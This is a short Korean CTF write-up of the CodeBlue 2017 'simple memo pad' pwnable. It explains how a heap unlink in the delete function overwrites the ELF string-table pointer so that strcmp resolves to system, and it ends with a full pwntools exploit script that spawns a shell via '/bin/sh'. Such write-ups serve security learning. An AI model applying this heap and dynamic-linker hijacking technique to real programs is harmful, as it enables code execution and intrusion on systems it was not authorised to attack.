Pwnable/CTF

Codeblue 2017 simple memo pad

HSr00t 2018. 1. 17. 23:21

return to dl-resolve 기법 공부를 다 하지 않고 풀어버렷다 ..
대충 원리정도만 공부를 하고 find 명령어로 strtab주소를 가지고있는곳을 찾고

그곳에 delete구문중 unlink가 있으니 delete를 이용하여서 strtab을 부르고있는? 주소인 0x601858에 2번째 청크 주소를 넣고



1

2

3

4

5

6

LOAD:0000000000400418 ; ELF String Table

LOAD:0000000000400418 byte_400418     db 0                    ; DATA XREF: LOAD:0000000000400298↑o

LOAD:0000000000400418                                         ; LOAD:00000000004002B0↑o ...

 

 

LOAD:000000000040047B aStrcmp         db 'strcmp',0           ; DATA XREF: LOAD:0000000000400370↑o

cs


위에서 0x40047b - 0x400418를 빼면 0x63이 나온다. 우리가 넣는 데이터는 struct + 0x10 부터이니 0x63 - 0x10을 뺀 0x53만큼 더미값을 넣고 system을 넣으면 strcmp가 호출되야될때 system이 호출될것이다.


마지막 quit를 했을때 strcmp(내가 입력한 값,'y')로 함수를 호출하기때문에 system으로 변조하기 좋다.


 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
 
p=process("./simple_memo_pad")
elf=ELF("./simple_memo_pad")
 
def write(content):
    p.recvuntil('> ')
    p.sendline("1")
    p.recvuntil(': ')
    p.sendline(content)
 
def edit(idx,content):
    p.recvuntil('> ')
    p.sendline("2")
    p.recvuntil(': ')
    p.sendline(str(idx))
    p.recvuntil(': ')
    p.sendline(content)
 
def delete(idx):
    p.recvuntil('> ')
    p.sendline("3")
    p.recvuntil(': ')
    p.sendline(str(idx))
 
write("A"*0x53+"system\x00")
write("B"*128)
write("C"*128)
edit(3,"a"*128+p64(0x601858-152))
delete(3)
 
p.recv(1024)
p.sendline("5")
p.recvuntil(':')
p.sendline("/bin/sh")
 
 
p.interactive()
cs